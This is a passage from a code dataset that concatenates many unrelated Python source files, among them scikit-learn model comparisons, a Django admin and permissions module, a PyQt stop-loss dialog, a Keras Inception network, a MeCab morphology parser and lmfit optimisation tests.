(predictors_train, response_train)\n# The coefficients\nprint('Coefficients: \\n', sgd.coef_)\n# The intercept\nprint('Coefficients: \\n', sgd.intercept_)\n# The mean square error\nprint(\"Residual sum of squares: %.2f\"\n % np.mean((sgd.predict(predictors_test) - response_test) ** 2))\n# Explained variance score: 1 is perfect prediction\nprint('Variance score: %.2f' % sgd.score(predictors_test, response_test))\n# Cross-Validation Scores\nsgd_score = sgd.score(predictors_test, response_test)\n\n## SVM Classification\nfrom sklearn import svm\n# Create training/testing samples for predictors/response variables\npredictors_train, predictors_test, response_train, response_test = cross_validation.train_test_split(\n predictors, response, test_size=0.4, random_state=0)\n# Create SVM object and Train the model using the training sets\nsvc = svm.SVC().fit (predictors_train, response_train)\n# The coefficients\n# print('Coefficients: \\n', svr.coef_)\n# The intercept\n# print('Coefficients: \\n', svr.intercept_)\n# The mean square error\nprint(\"Residual sum of squares: %.2f\"\n % np.mean((svc.predict(predictors_test) - response_test) ** 2))\n# Explained variance score: 1 is perfect prediction\nprint('Variance score: %.2f' % svc.score(predictors_test, response_test))\n# Cross-Validation Scores\nsvc_score = svc.score(predictors_test, response_test)\n\n# Gaussian Naive Bayes\nfrom sklearn.naive_bayes import GaussianNB\n# Create training/testing samples for predictors/response variables\npredictors_train, predictors_test, response_train, response_test = cross_validation.train_test_split(\n predictors, response, test_size=0.4, random_state=0)\n# Create GNB object and Train the model using the training sets\ngnb = GaussianNB().fit (predictors_train, response_train)\n# The mean square error\nprint(\"Residual sum of squares: %.2f\"\n % np.mean((gnb.predict(predictors_test) - response_test) ** 2))\n# Explained variance score: 1 is perfect prediction\nprint('Variance score: %.2f' % gnb.score(predictors_test, response_test))\n# Cross-Validation Scores\ngnb_score = gnb.score(predictors_test, response_test)\n\ny_pred = gnb.fit(predictors_train, response_train).predict(predictors_test)\nprint(\"Number of mislabeled points out of a total %d points : %d\"\n % (predictors_test.shape[0],(response_test != y_pred).sum()))\n\n## Random Forest\nfrom sklearn.ensemble import RandomForestClassifier\n# Create training/testing samples for predictors/response variables\npredictors_train, predictors_test, response_train, response_test = cross_validation.train_test_split(\n predictors, response, test_size=0.4, random_state=0)\n# Create RandomForest object and Train the model using the training sets\nrfc = RandomForestClassifier(n_estimators=128, criterion='mse', max_depth=None, min_samples_split=2, min_samples_leaf=1,\n max_features='auto', max_leaf_nodes=None, bootstrap=True, oob_score=False, n_jobs=1,\n random_state=None, verbose=0, warm_start=False).fit (predictors_train, response_train)\n# The mean square error\nprint(\"Residual sum of squares: %.2f\"\n % np.mean((rfc.predict(predictors_test) - response_test) ** 2))\n# Explained variance score: 1 is perfect prediction\nprint('Variance score: %.2f' % rfc.score(predictors_test, response_test))\n# Cross-Validation Scores\nrfc_score = rfc.score(predictors_test, response_test)\n\n## Neural Networks\nfrom sklearn.neural_network import BernoulliRBM\n# Create training/testing samples for predictors/response variables\npredictors_train, predictors_test, response_train, response_test = cross_validation.train_test_split(\n predictors, response, test_size=0.4, random_state=0)\n# Create Neural Network object and Train the model using the training sets\nrbm = BernoulliRBM(random_state=0, verbose=True)\nlogistic = linear_model.LogisticRegression()\nlogistic.fit(predictors_train, response_train)\nclassifier = Pipeline(steps=[('rbm', rbm), ('logistic', logistic)]).fit(predictors_train, response_train)\n# Get predictions\nprint(\"The RBM model:\")\nprint (\"Predict:\"), classifier.predict(predictors_test)\nprint (\"Real:,\", response_test)\nprint\n\n\n","sub_path":"Coding_Project.py","file_name":"Coding_Project.py","file_ext":"py","file_size_in_byte":6736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"475379558","text":"\"\"\"\nPhysical parameters of the laboratory Crazyflie quadrotors.\nAdditional sources:\n https://bitcraze.io/2015/02/measuring-propeller-rpm-part-3\n https://wiki.bitcraze.io/misc:investigations:thrust\n https://commons.erau.edu/cgi/viewcontent.cgi?article=2057&context=publication\nNotes:\n k_thrust is inferred from 14.5 g thrust at 2500 rad/s\n k_drag is mostly made up\n\"\"\"\n\nquad_params = {\n 'mass': 0.030, # kg\n 'Ixx': 1.43e-5, # kg*m^2\n 'Iyy': 1.43e-5, # kg*m^2\n 'Izz': 2.89e-5, # kg*m^2\n 'arm_length': 0.046, # meters\n 'rotor_speed_min': 0, # rad/s\n 'rotor_speed_max': 2500, # rad/s\n 'k_thrust': 2.3e-08, # N/(rad/s)**2\n 'k_drag': 7.8e-11, # Nm/(rad/s)**2\n}\n","sub_path":"proj1_2/meam620-2020/flightsim/crazyflie_params.py","file_name":"crazyflie_params.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"211623365","text":"import random\n\nchoices = ['paper', 'scissors', 'rock']\ncomputer_choice = random.choice(choices)\n\nwhile True:\n msg = 'Type one of following {}: '.format(' '.join(choices))\n user_choice = input(msg)\n if user_choice in choices:\n break\n print('Please choose a correct choice')\n\nprint('computer chooses: {}'.format(computer_choice))\n\nif user_choice == computer_choice:\n print('The result is a tie!')\nelse:\n if user_choice == 'paper':\n if computer_choice == 'rock':\n print('paper wins')\n else:\n print('rock wins')\n\n if user_choice == 'scissors':\n if computer_choice == 'paper':\n print('scissors wins')\n else:\n print('rock wins')\n\n if user_choice == 'rock':\n if computer_choice == 'scissors':\n print('rock wins')\n else:\n print('paper wins')\n","sub_path":"source/paper_sissors_rock.py","file_name":"paper_sissors_rock.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"522004525","text":"def comb(n, k):\n if k == 0 or k == n:\n return 1\n else:\n return comb(n - 1, k - 1) + comb(n - 1, k)\n\n\nwhile True:\n try:\n n = int(input(\"enter n: \"))\n k = int(input(\"enter k: \"))\n if n >= 0 and k >= 0:\n print(comb(n, k))\n break\n else:\n print('try again!')\n except ValueError:\n print(\"please ineger!\")\n","sub_path":"t4.py","file_name":"t4.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"339449087","text":"from django.contrib import admin\nfrom .models import Page\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass PageAdmin(admin.ModelAdmin):\n list_display = ('get_headline', 'get_nav_name', 'get_url',\n 'is_visible', 'in_navigation', 'nav_position', )\n list_filter = ('is_visible', 'in_navigation', )\n search_fields = ('headline_en', 'headline_de', 'headline_tr',\n 'nav_name_en', 'nav_name_de', 'nav_name_tr',\n 'url_en', 'url_de', 'url_tr',)\n\n fieldsets = [\n (None, {\n 'classes': ('suit-tab', 'suit-tab-general',),\n 'fields': ['is_visible', 'in_navigation',\n 'nav_position',]\n }),\n (_('Url, tab and navigation'), {\n 'classes': ('suit-tab', 'suit-tab-general',),\n 'fields': ['url_en', 'url_de', 'url_tr',\n 'tab_title_en', 'tab_title_de', 'tab_title_tr',\n 'nav_name_en', 'nav_name_de', 'nav_name_tr',\n ],\n 'description': _('Add url, tab and navigation information of the page.')\n }),\n (None, {\n 'classes': ('suit-tab', 'suit-tab-content',),\n 'fields': ['headline_en', 'headline_de', 'headline_tr',\n 'image', 'image_height', 'image_width',\n 'content_top_en', 'content_top_de', 'content_top_tr',\n 'content_bottom_en', 'content_bottom_de', 'content_bottom_tr',\n ]\n }),\n (None, {\n 'classes': ('suit-tab', 'suit-tab-nav',),\n 'fields': ['name_en', 'name_de', 'name_tr',\n 'brand_name_en', 'brand_name_de', 'brand_name_tr',\n 'footer_name_en', 'footer_name_de', 'footer_name_tr',\n ]\n }),\n ]\n\n suit_form_tabs = (('general', 'General'),\n ('content', 'Page content'),\n ('nav', 'Navigation bars')\n )\n\n def get_headline(self, obj):\n return obj.headline\n get_headline.short_description = _('headline')\n\n def get_url(self, obj):\n return obj.url\n get_url.short_description = _('url')\n\n def get_nav_name(self, obj):\n return obj.nav_name\n get_nav_name.short_description = _('nav_name')\n\nadmin.site.register(Page, PageAdmin)\n","sub_path":"pages/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"514841","text":"\"\"\"\nID: michael371\nLANG: PYTHON3\nTASK: concom\n\"\"\"\n\ninputs = []\nwith open(\"concom.in\", \"r\") as f:\n numInputTriples = int(f.readline())\n for i in range(numInputTriples):\n inputs.append(tuple(map(int, f.readline().split())))\n\ndef add_controlled(owner_id:int, owned_id:int, percentage_list: list, controlled: list):\n if owner_id == owned_id or owner_id in controlled[owned_id]:\n return\n controlled[owned_id].add(owner_id)\n for child_owned_id, per in enumerate(percentage_list[owned_id]):\n percentage_list[owner_id][child_owned_id] += per\n\n for controller in controlled[owner_id]:\n add_controlled(controller, owned_id, percentage_list, controlled)\n\n for other_owned_id, per in enumerate(percentage_list[owner_id]):\n if per > 50:\n add_controlled(owner_id, other_owned_id, percentage_list, controlled)\n\ndef add_input_item(owner_id:int, owned_id:int, percent: int, percentage_list: list, controlled: list):\n percentage_list[owner_id][owned_id] += percent\n for controller in controlled[owner_id]:\n percentage_list[controller][owned_id] += percent\n\n for i in range(len(percentage_list)):\n if percentage_list[i][owned_id] > 50:\n add_controlled(i, owned_id, percentage_list, controlled)\n \n\ndef solution(inputs: list):\n percentage_list = [[0 for j in range(0, 101)] for i in range(0, 101)]\n controlled = [set() for i in range(0, 101)]\n for input_item in inputs:\n add_input_item(input_item[0], input_item[1], input_item[2], percentage_list, controlled)\n result = set()\n for controlled_id in range(len(controlled)):\n for controller_id in controlled[controlled_id]:\n result.add((controller_id, controlled_id))\n return result\n\nres = solution(inputs)\nres = sorted(list(res), key = lambda x: (x[0], x[1]))\n\nwith open(\"concom.out\", \"w\") as f:\n for item in res:\n f.write(str(item[0]) + \" \" + str(item[1]) + \"\\n\")","sub_path":"control_company.py","file_name":"control_company.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"57746730","text":"from bisect import bisect_left, bisect_right\nfrom sys import stdin, stdout\n\n\nif __name__ == \"__main__\":\n begins, ends = [], []\n n, m = [int(x) for x in stdin.readline().split()]\n for i in range(n):\n current = stdin.readline().split()\n begins.append(int(current[0]))\n ends.append(int(current[1]))\n dots = [int(x) for x in stdin.readline().split()]\n\n results = []\n begins = sorted(begins)\n ends = sorted(ends)\n\n for dot in dots:\n m_beg = bisect_right(begins, dot)\n m_end = bisect_left(ends, dot)\n stdout.write(str(m_beg - m_end) + ' ')\n","sub_path":"stepik/d&c_segments_dots.py","file_name":"d&c_segments_dots.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"362529060","text":"import os, csv, pymongo\nfrom flask import Flask, render_template, request, redirect, url_for, send_from_directory,jsonify\nfrom flask.ext.mongoengine import MongoEngine, QuerySet\nfrom housing.models import db, MonthlyRentEntries, Rent\ndef crs(app, timeFrame):\n months = {\"JAN\":\"00\", \"FEB\":\"01\", \"MAR\":\"02\", \"APR\":\"03\", \"MAY\":\"04\", \"JUN\":\"05\", \"JUL\":\"06\", \"AUG\":\"07\", \"SEP\":\"08\", \"OCT\":\"09\", \"NOV\":\"10\", \"DEC\":\"11\"}\n rent = MonthlyRentEntries.objects.all()\n completionMessage = []\n #create easy compare date strings. For example: 201400, 201401 for JAN 2014 and FEB 2014\n startDate = timeFrame['startYear'] + months[timeFrame['startMonth'].upper()] \n endDate = timeFrame['endYear'] + months[timeFrame['endMonth'].upper()] \n \n for rent in rent:\n docDate = str(rent.year) + months[rent.month.upper()]\n if(int(docDate) >= int(startDate) and int(docDate)<= int(endDate)):\n completionMessage.append(rent)\n #print \"FOUND ENTRY FOR: \" + docDate +\"\\n\"\n if(len(completionMessage) == 0):\n completionMessage.append(\"No Entry Found From \" + timeFrame['startMonth'] + \" \" + timeFrame['startYear'] + \" through \" + timeFrame['endMonth'] + \" \" + timeFrame['endYear']);\n else:\n pass\n #This is the area to gather specific data for CRS, YTD, CUSTOM\n #For example if I want an on-click in the table to do different things based on previous screen click\n #Also we can do preprocessing instead of doing it on the JS side if desired\n return render_template('base.html', CRS = {'type':timeFrame['msg'],'msg':completionMessage, 'option':'none', \n 'fromDate':timeFrame['startMonth'] + ' ' + timeFrame['startYear'],\n 'untilDate':timeFrame['endMonth'] + ' ' + timeFrame['endYear']\n }) ","sub_path":"housing/crs.py","file_name":"crs.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"288218150","text":"#!/usr/bin/python3.7\n# -*- coding: UTF-8 -*-\n\"\"\"\n@author:zhouqiang\n@file:gen_noise.py\n@NAME:Table_renderer\n@time:2021/09/09\n@IDE: PyCharm\n \n\"\"\"\n\nimport cv2\nimport numpy as np\nfrom PIL import Image\nfrom PIL.ImageDraw import ImageDraw\nimport imutils\n\n\ndef ext(num):\n if num > 255:\n return 255\n if num < 0:\n return 0\n else:\n return num\n\ndef gen_noise():\n bg = cv2.imread('../receipts/receipts_train_1_v2/00000.jpg')\n # bg = np.ones((400, 400, 3), dtype=np.uint8)*255\n\n width = bg.shape[1]\n height = bg.shape[0]\n img = np.zeros((height, width, 3), dtype=np.uint8)\n # 绘制圆\n cX = 300\n cY = 800\n radius = 10\n cv2.rectangle(img, (int(cX), int(cY)), (int(cX+50), int(cY+50)), (175, 0, 0), -1)\n\n # cv2.imwrite('./tmp.jpg', img)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n x_index, y_index = np.where(gray != 0)\n\n h, w, ch = img.shape\n for row in range(h):\n for col in range(w):\n if row in x_index and col in y_index:\n\n s = np.random.normal(0, 100, 10)\n # 去除每一个像素的三个通道值\n b = img[row, col, 0]\n g = img[row, col, 1]\n r = img[row, col, 2]\n # 在每一个像素的三个通道值上加上高斯噪声\n img[row, col, 0] = ext(b + s[0])\n img[row, col, 1] = ext(g + s[1])\n img[row, col, 2] = ext(r + s[2])\n\n for i in range(len(x_index)):\n bg[x_index[i], y_index[i], :] = img[x_index[i], y_index[i], :]\n bg = cv2.cvtColor(bg, cv2.COLOR_BGR2RGB)\n res = Image.fromarray(bg)\n res.save('./bg.jpg')\n print(2)\n\n\nif __name__ == '__main__':\n gen_noise()\n","sub_path":"tools/gen_noise.py","file_name":"gen_noise.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"52234438","text":"from autobahn.asyncio.component import Component, run\nfrom asyncio import sleep\nfrom autobahn.wamp.types import RegisterOptions\n\n# to see how this works on the Crossbar.io side, see the example\n# router configuration in:\n# https://github.com/crossbario/autobahn-python/blob/master/examples/router/.crossbar/config.json\n\ncomponent = Component(\n # you can configure multiple transports; here we use two different\n # transports which both exist in the demo router\n transports=[\n {\n \"type\": \"websocket\",\n \"url\": \"ws://localhost:8080/auth_ws\",\n \"endpoint\": {\n \"type\": \"tcp\",\n \"host\": \"localhost\",\n \"port\": 8080,\n },\n # you can set various websocket options here if you want\n \"options\": {\n \"open_handshake_timeout\": 100,\n }\n },\n ],\n # authentication can also be configured (this will only work on\n # the demo router on the first transport above)\n authentication={\n \"cryptosign\": {\n 'authid': 'alice',\n # this key should be loaded from disk, database etc never burned into code like this...\n 'privkey': '6e3a302aa67d55ffc2059efeb5cf679470b37a26ae9ac18693b56ea3d0cd331c',\n }\n },\n # must provide a realm\n realm=\"crossbardemo\",\n)\n\n\n@component.on_join\nasync def join(session, details):\n print(\"joined {}: {}\".format(session, details))\n await sleep(1)\n print(\"Calling 'com.example'\")\n res = await session.call(\"example.foo\", 42, something=\"nothing\")\n print(\"Result: {}\".format(res))\n await session.leave()\n\n\n@component.register(\n \"example.foo\",\n options=RegisterOptions(details_arg='details'),\n)\nasync def foo(*args, **kw):\n print(\"foo called: {}, {}\".format(args, kw))\n for x in range(5, 0, -1):\n print(\" returning in {}\".format(x))\n await sleep(1)\n print(\"returning '42'\")\n return 42\n\n\nif __name__ == \"__main__\":\n run([component])\n","sub_path":"docs/listings/aio_complete.py","file_name":"aio_complete.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"25375613","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nN = 5\nmenMeans = (20, 35, 30, 35, 27)\nwomenMeans = (25, 32, 34, 20, 25)\nanimalMeans = (12, 13, 14, 15, 15)\n\nmenStd = (2, 3, 4, 1, 2)\nwomenStd = (3, 5, 2, 3, 3)\nind = np.arange(N)\nwidth = 0.35 # the width of the bars: can also be len(x) sequence\n\np1 = plt.bar(ind, menMeans, width)\np2 = plt.bar(ind + width, womenMeans, width)\n\nplt.ylabel('Scores')\nplt.title('Scores by group and gender')\nplt.xticks(ind + width/2, ('2018', '2017', '2016', '2015', '2014'))\nplt.yticks(np.arange(0, 81, 10))\nplt.legend((p1[0], p2[0]), ('Men', 'Women'))\n\nplt.show()\n","sub_path":"python/bar-chart.py","file_name":"bar-chart.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"105554015","text":"\"\"\"This file contains the formatter for Alix Retail data sources\"\"\"\nimport re\n\nfrom django.utils.encoding import smart_unicode\nfrom cmu.transformers.generic import Transformer as BaseTransformer\n\n\nHEADER_MAP = {\n 'default': {\n 'pt': ['^type'],\n 'nm': ['^attention$'],\n 'add':['^Address1','^Address2'],\n 'ph': ['^tel number'],\n 'prd': ['^product name'],\n 'rs': ['^declared value'],\n 'cod': ['^collectable value'],\n 'radd':['^Return Address1','^Return Address2','^Return Address3'],\n 'rpin':['Return Pin'],\n }\n}\n\n\nclass Transformer(BaseTransformer):\n \"\"\"Transformer for Alix Retail\"\"\"\n\n def __init__(self, **kwargs):\n super(Transformer, self).__init__(HEADER_MAP, **kwargs)\n","sub_path":"cmu/transformers/_alixretail.py","file_name":"_alixretail.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"23986393","text":"import sys\ninput = sys.stdin.readline\nfrom collections import deque\n\n\ndef BFS(x,y,h):\n global result\n queue = deque()\n queue.append([x,y])\n dx = [0,0,1,-1]\n dy = [1,-1,0,0]\n out_rain = False\n cnt = 1\n visited[x][y] = True\n while queue:\n x,y = queue.popleft()\n for i in range(4):\n nx = x+dx[i]\n ny = y+dy[i]\n if 0<=nx 30:\n sc += \"%s \" % (pseudo[:30])\n else:\n sc += \"%-30s \" % (pseudo)\n sc += time.strftime(\" dernière le %d/%m/%Y à %H:%M |\", time.localtime(float(blag.submission)))\n sc += \"\\n|\" + 73*\"_\" + \"|\"\n return {\"text\" : sc, \"monospace\" : True}\n else:\n return \"Aucune blague, bande de nuls !\"\n","sub_path":"modules/blague/blague.py","file_name":"blague.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"64613476","text":"from os import fdopen\nfrom PyQt5 import QtCore\nfrom PyQt5.QtWidgets import QWidget, QGridLayout, QHBoxLayout, QPushButton, QLineEdit, QLabel\n\nimport dlgMenu\nimport dlgAlert\nimport connectDB\nimport global_var\n\nclass StopLossWindow(QWidget):\n switch_menu = QtCore.pyqtSignal()\n callback_title = ''\n callback_userid = 0\n callback_orderdata = {}\n\n def __init__(self, target, cb_title, cb_userid, cb_orderdata):\n super().__init__()\n self.callback_title = cb_title\n self.callback_userid = cb_userid\n self.callback_orderdata = cb_orderdata\n global_var.opendDlg = True\n stoploss = connectDB.getStopLoss()\n mainLayout = QGridLayout()\n\n toplayout1 = QHBoxLayout()\n priceEdit = QLineEdit(stoploss['price'])\n priceEdit.setFixedHeight(32)\n priceEdit.setStyleSheet(\"font-size: 18px;\")\n priceEdit.editingFinished.connect(lambda: self.changeLossMeta(priceEdit.text(), 'price'))\n priceLabel = QLabel(\"&Stock Price:\")\n priceLabel.setBuddy(priceEdit)\n priceLabel.setStyleSheet(\"font-size: 16px;\")\n toplayout1.addWidget(priceLabel)\n toplayout1.addWidget(priceEdit)\n mainLayout.addLayout(toplayout1, 0, 0, 1, 2)\n\n toplayout2 = QHBoxLayout()\n contractEdit = QLineEdit(stoploss['contract'])\n contractEdit.setFixedHeight(32)\n contractEdit.setStyleSheet(\"font-size: 18px;\")\n contractEdit.editingFinished.connect(lambda: self.changeLossMeta(contractEdit.text(), 'contract'))\n contractLabel = QLabel(\"&Contract %:\")\n contractLabel.setStyleSheet(\"font-size: 16px;\")\n contractLabel.setBuddy(contractEdit)\n toplayout2.addWidget(contractLabel)\n toplayout2.addWidget(contractEdit)\n mainLayout.addLayout(toplayout2, 1, 0, 1, 2)\n\n toplayout3 = QHBoxLayout()\n lossEdit = QLineEdit(stoploss['stop_loss'])\n lossEdit.setFixedHeight(32)\n lossEdit.setStyleSheet(\"font-size: 18px;\")\n lossEdit.editingFinished.connect(lambda: self.changeLossMeta(lossEdit.text(), 'stop_loss'))\n lossLabel = QLabel(\"Set Auto Stop &Loss:\")\n lossLabel.setStyleSheet(\"font-size: 16px;\")\n lossLabel.setBuddy(lossEdit)\n toplayout3.addWidget(lossLabel)\n toplayout3.addWidget(lossEdit)\n mainLayout.addLayout(toplayout3, 2, 0, 1, 2)\n \n toolbarLayout = QHBoxLayout()\n #addAccountBtn = QPushButton(\"&Save\")\n #toolbarLayout.addWidget(addAccountBtn)\n menuBtn = QPushButton(\"&Save And Back\")\n menuBtn.setFixedHeight(32)\n menuBtn.setStyleSheet(\"background-color : {color}; color: #FFF; font-weight: bold; font-size: 18px;\".format(color=global_var.color_blue))\n self.switch_menu.connect(lambda:self.toMenu(target))\n menuBtn.clicked.connect(self.switch_menu.emit)\n toolbarLayout.addWidget(menuBtn)\n mainLayout.addLayout(toolbarLayout, 3, 1, 1, 1)\n\n self.setLayout(mainLayout)\n self.resize(400, 300)\n self.setWindowTitle(\"TRADE COPIER - STOP LOSS\")\n \n def toMenu(self, target):\n if target == 'menu':\n self.tgt = dlgMenu.MenuWindow()\n else :\n self.tgt = dlgAlert.AlertWindow(self.callback_title, self.callback_userid, self.callback_orderdata)\n self.hide()\n self.tgt.show()\n\n def closeEvent(self, event):\n self.hide()\n global_var.opendDlg = False\n event.ignore()\n\n\n def changeLossMeta(self, text, col):\n connectDB.updateStopLoss(col, text)\n\n","sub_path":"dlgStoploss.py","file_name":"dlgStoploss.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"513605344","text":"import typing\n\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import AbstractUser\nfrom django.shortcuts import get_object_or_404\n\nfrom accounts.models import Team\nfrom projects.permission_models import ProjectRole, ProjectAgentRole, ProjectPermissionType\nfrom projects.project_models import Project\n\nUser = get_user_model()\n\nREAD_ONLY_PROJECT_ROLE_NAME = 'Viewer'\n\n\nclass ProjectFetchResult(typing.NamedTuple):\n \"\"\"\n Represents the result of fetching a project for a particular agent (`User` or `Team`), includes:\n -- agent_roles: roles the current agent (`User`/`Team`) has for the `Project``\n -- agent_permissions: all permissions the current agent (`User`/`Team`) has for the `Account`, i.e. combined\n permissions of all roles\n \"\"\"\n project: Project\n agent_roles: typing.Set[ProjectRole]\n agent_permissions: typing.Set[ProjectPermissionType]\n\n\ndef add_roles_to_permissions_sets(roles_set: typing.Set[ProjectRole],\n permissions_set: typing.Set[ProjectPermissionType], role: ProjectRole) -> None:\n if role not in roles_set:\n roles_set.add(role)\n for permission_type in role.permissions_types():\n permissions_set.add(permission_type)\n\n\ndef fetch_project_for_user(user: AbstractUser, project_pk: int) -> ProjectFetchResult:\n project = get_object_or_404(Project, pk=project_pk)\n user_teams = Team.objects.filter(members=user) if user.is_authenticated else []\n\n project_agent_roles = ProjectAgentRole.filter_with_user_teams(user, user_teams, project=project)\n\n roles: typing.Set[ProjectRole] = set()\n permissions: typing.Set[ProjectPermissionType] = set()\n\n if project_agent_roles.count():\n for project_agent_role in project_agent_roles:\n add_roles_to_permissions_sets(roles, permissions, project_agent_role.role)\n elif project.public:\n read_only_role = ProjectRole.objects.get(name=READ_ONLY_PROJECT_ROLE_NAME)\n\n add_roles_to_permissions_sets(roles, permissions, read_only_role)\n\n return ProjectFetchResult(project, roles, permissions)\n","sub_path":"director/projects/permission_facade.py","file_name":"permission_facade.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"158474838","text":"#!/usr/bin/env python3\r\n\"\"\" FUnction Inception Block\r\nWrite a function : that builds the inception network\r\nas described in Going Deeper with Convolutions (2014):\r\n\r\nYou can assume the input data will have shape (224, 224, 3)\r\nAll convolutions inside and outside the inception block should use a rectified\r\nlinear activation (ReLU)\r\nReturns: the keras model\r\n\"\"\"\r\n\r\nimport tensorflow.keras as K\r\ninception_block = __import__('0-inception_block').inception_block\r\n\r\n\r\ndef inception_network():\r\n \"\"\"Function Inception Block\"\"\"\r\n X = K.Input(shape=(224, 224, 3))\r\n init = K.initializers.he_normal(seed=None)\r\n conv1 = K.layers.Conv2D(64, (7, 7), padding='same', strides=(2, 2),\r\n kernel_initializer=init, activation='relu')(X)\r\n mp1 = K.layers.MaxPooling2D((3, 3), strides=(2, 2),\r\n padding='same')(conv1)\r\n conv2 = K.layers.Conv2D(64, (1, 1), padding='same',\r\n kernel_initializer=init, activation='relu')(mp1)\r\n conv2_1 = K.layers.Conv2D(192, (3, 3), padding='same',\r\n kernel_initializer=init,\r\n activation='relu')(conv2)\r\n mp2 = K.layers.MaxPooling2D((3, 3), strides=(2, 2),\r\n padding='same')(conv2_1)\r\n inc3a = inception_block(mp2, [64, 96, 128, 16, 32, 32])\r\n inc3b = inception_block(inc3a, [128, 128, 192, 32, 96, 64])\r\n mp3 = K.layers.MaxPooling2D((3, 3), strides=(2, 2),\r\n padding='same')(inc3b)\r\n inc4a = inception_block(mp3, [192, 96, 208, 16, 48, 64])\r\n inc4b = inception_block(inc4a, [160, 112, 224, 24, 64, 64])\r\n inc4c = inception_block(inc4b, [128, 128, 256, 24, 64, 64])\r\n inc4d = inception_block(inc4c, [112, 144, 288, 32, 64, 64])\r\n inc4e = inception_block(inc4d, [256, 160, 320, 32, 128, 128])\r\n mp4 = K.layers.MaxPooling2D((3, 3), strides=(2, 2),\r\n padding='same')(inc4e)\r\n inc5a = inception_block(mp4, [256, 160, 320, 32, 128, 128])\r\n inc5b = inception_block(inc5a, [384, 192, 384, 48, 128, 128])\r\n avg1 = K.layers.AveragePooling2D((7, 7), strides=None)(inc5b)\r\n drop1 = K.layers.Dropout(0.4)(avg1)\r\n dense_1 = K.layers.Dense(1000, activation='softmax',\r\n kernel_initializer=init)(drop1)\r\n model = K.models.Model(inputs=X, outputs=dense_1)\r\n return(model)\r\n","sub_path":"supervised_learning/0x08-deep_cnns/1-inception_network.py","file_name":"1-inception_network.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"630949377","text":"import MeCab\nimport re\n\nanalysis_file = \"neko.txt.mecab\"\n\ndef data_mapping(file):\n with open(file, encoding=\"utf-8\") as data:\n morphemes = []\n line = data.readline()\n while(line):\n result = re.split('[,\\t\\n]', line)\n result = result[:-1] #\\n消すとリストの最後にから文字が入って気持ち悪い\n line = data.readline()\n if len(result) < 2: #最後の EOS\\n の処理\n continue\n morpheme = {\n 'surface': result[0],\n 'base': result[7],\n 'pos': result[1],\n 'pos1': result[2],\n }\n morphemes.append(morpheme)\n if result[0] == \"。\":\n #ジェネレーターを利用。句点までのデータを生成する。\n yield morphemes\n morphemes = []\n\nif __name__ == \"__main__\":\n lines = data_mapping(analysis_file)\n t = 0\n for line in lines: #yeildの数だけ実行。生成されたものを返す。\n print(line)\n t+=1\n if t == 10:\n break","sub_path":"kondo/chapter04/knock30.py","file_name":"knock30.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"179735782","text":"import numpy as np\nfrom numpy.testing import assert_allclose\n\nimport lmfit\n\n\ndef test_ampgo_Alpine02():\n \"\"\"Test AMPGO algorithm on Alpine02 function.\"\"\"\n\n global_optimum = [7.91705268, 4.81584232]\n fglob = -6.12950\n\n def residual_Alpine02(params):\n x0 = params['x0'].value\n x1 = params['x1'].value\n return np.prod(np.sqrt(x0) * np.sin(x0)) * np.prod(np.sqrt(x1) *\n np.sin(x1))\n\n pars = lmfit.Parameters()\n pars.add_many(('x0', 1., True, 0.0, 10.0),\n ('x1', 1., True, 0.0, 10.0))\n\n mini = lmfit.Minimizer(residual_Alpine02, pars)\n out = mini.minimize(method='ampgo')\n out_x = np.array([out.params['x0'].value, out.params['x1'].value])\n\n assert_allclose(out.residual, fglob, rtol=1e-5)\n assert_allclose(min(out_x), min(global_optimum), rtol=1e-3)\n assert_allclose(max(out_x), max(global_optimum), rtol=1e-3)\n assert('global' in out.ampgo_msg)\n\n\ndef test_ampgo_Alpine02_maxfunevals():\n \"\"\"Test AMPGO algorithm on Alpine02 function.\"\"\"\n\n def residual_Alpine02(params):\n x0 = params['x0'].value\n x1 = params['x1'].value\n return np.prod(np.sqrt(x0) * np.sin(x0)) * np.prod(np.sqrt(x1) *\n np.sin(x1))\n\n pars = lmfit.Parameters()\n pars.add_many(('x0', 1., True, 